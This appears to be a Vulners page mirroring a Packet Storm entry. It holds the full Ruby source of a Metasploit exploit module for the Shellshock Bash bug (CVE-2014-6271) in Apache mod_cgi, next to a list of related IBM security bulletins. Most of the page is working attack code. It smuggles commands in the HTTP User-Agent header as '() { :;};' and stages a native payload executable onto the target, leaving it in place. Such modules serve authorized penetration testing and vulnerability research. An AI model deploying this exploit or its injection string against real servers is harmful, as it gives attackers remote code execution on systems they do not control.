Lucene search
K

Apache mod_cgi Bash Environment Variable Code Injection

🗓️ 26 Sep 2014 00:00:00Reported by juan vazquezType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 91 Views

Apache mod_cgi Bash Environment Variable Code Injection, targets Apache mod_cgi scripts through HTTP_USER_AGENT variable

Related
Code
ReporterTitlePublishedViews
Family
IBM Security Bulletins
Security Bulletin: Vulnerabilities in Bash affect IBM Workload Deployer (CVE-2014-6271, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187, CVE-2014-6277, CVE-2014-6278)
15 Jun 201807:01
ibm
IBM Security Bulletins
Security Bulletin: Vulnerabilities in Bash affect SmartCloud Provisioning for IBM Provided Software Virtual Appliance
17 Jun 201822:30
ibm
IBM Security Bulletins
Security Bulletin: Vulnerabilities in Bash affect IBM SmartCloud Entry Appliance (CVE-2014-6271, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187, CVE-2014-6277, CVE-2014-6278)
19 Jul 202000:49
ibm
IBM Security Bulletins
Security Bulletin: Vulnerabilities in Bash affect certain Brocade products that IBM resells for use with IBM BladeCenter (CVE-2014-6271, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187, CVE-2014-6277, CVE-2014-6278)
31 Jan 201901:35
ibm
IBM Security Bulletins
Security Bulletins for IBM Tealeaf Customer Experience offerings
16 Jun 201819:35
ibm
IBM Security Bulletins
Security Bulletin: Vulnerabilities in Bash affect certain IBM N Series products (CVE-2014-6271, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187, CVE-2014-6277, CVE-2014-6278)
18 Jun 201800:08
ibm
IBM Security Bulletins
Security Bulletin: Vulnerabilities in Bash affect IBM Smart Analytics System 5600 (CVE-2014-6271, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187, CVE-2014-6277, CVE-2014-6278)
16 Jun 201813:58
ibm
IBM Security Bulletins
Security Bulletin: Vulnerabilities in Bash affect IBM PureData System for Operational Analytics (CVE-2014-6271, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187, CVE-2014-6277, CVE-2014-6278)
18 Oct 201903:50
ibm
IBM Security Bulletins
Security Bulletin: Vulnerabilities in Bash affect IBM Flex System Manager (FSM): (CVE-2014-6271, CVE-2014-6277, CVE-2014-6278, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187)
31 Jan 201901:30
ibm
IBM Security Bulletins
Security Bulletin: UPDATE: Vulnerabilities in Bash affect AIX Toolbox for Linux Applications (CVE-2014-6271, CVE-2014-6277, CVE-2014-6278, CVE-2014-7169, CVE-2014-7186, and CVE-2014-7187)
15 Sep 202112:14
ibm
Rows per page
`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit4 < Msf::Exploit::Remote  
Rank = GoodRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Apache mod_cgi Bash Environment Variable Code Injection',  
'Description' => %q{  
This module exploits a code injection in specially crafted environment  
variables in Bash, specifically targeting Apache mod_cgi scripts through  
the HTTP_USER_AGENT variable.  
},  
'Author' => [  
'Stephane Chazelas', # Vulnerability discovery  
'wvu', # Original Metasploit aux module  
'juan vazquez' # Allow wvu's module to get native sessions  
],  
'References' => [  
['CVE', '2014-6271'],  
['URL', 'https://access.redhat.com/articles/1200223'],  
['URL', 'http://seclists.org/oss-sec/2014/q3/649']  
],  
'Payload' =>  
{  
'DisableNops' => true,  
'Space' => 2048  
},  
'Targets' =>  
[  
[ 'Linux x86',  
{  
'Platform' => 'linux',  
'Arch' => ARCH_X86,  
'CmdStagerFlavor' => [ :echo, :printf ]  
}  
],  
[ 'Linux x86_64',  
{  
'Platform' => 'linux',  
'Arch' => ARCH_X86_64,  
'CmdStagerFlavor' => [ :echo, :printf ]  
}  
]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Sep 24 2014',  
'License' => MSF_LICENSE  
))  
  
register_options([  
OptString.new('TARGETURI', [true, 'Path to CGI script']),  
OptEnum.new('METHOD', [true, 'HTTP method to use', 'GET', ['GET', 'POST']]),  
OptInt.new('CMD_MAX_LENGTH', [true, 'CMD max line length', 2048]),  
OptString.new('RPATH', [true, 'Target PATH for binaries used by the CmdStager', '/bin']),  
OptInt.new('TIMEOUT', [true, 'HTTP read response timeout (seconds)', 5])  
], self.class)  
end  
  
def check  
res = req("echo #{marker}")  
  
if res && res.body.include?(marker * 3)  
Exploit::CheckCode::Vulnerable  
else  
Exploit::CheckCode::Safe  
end  
end  
  
def exploit  
# Cannot use generic/shell_reverse_tcp inside an elf  
# Checking before proceeds  
if generate_payload_exe.blank?  
fail_with(Failure::BadConfig, "#{peer} - Failed to store payload inside executable, please select a native payload")  
end  
  
execute_cmdstager(:linemax => datastore['CMD_MAX_LENGTH'], :nodelete => true)  
  
# A last chance after the cmdstager  
# Trying to make it generic  
unless session_created?  
req("#{stager_instance.instance_variable_get("@tempdir")}#{stager_instance.instance_variable_get("@var_elf")}")  
end  
end  
  
def execute_command(cmd, opts)  
cmd.gsub!('chmod', "#{datastore['RPATH']}/chmod")  
  
req(cmd)  
end  
  
def req(cmd)  
send_request_cgi(  
{  
'method' => datastore['METHOD'],  
'uri' => normalize_uri(target_uri.path.to_s),  
'agent' => "() { :;};echo #{marker}$(#{cmd})#{marker}"  
}, datastore['TIMEOUT'])  
end  
  
def marker  
@marker ||= rand_text_alphanumeric(rand(42) + 1)  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation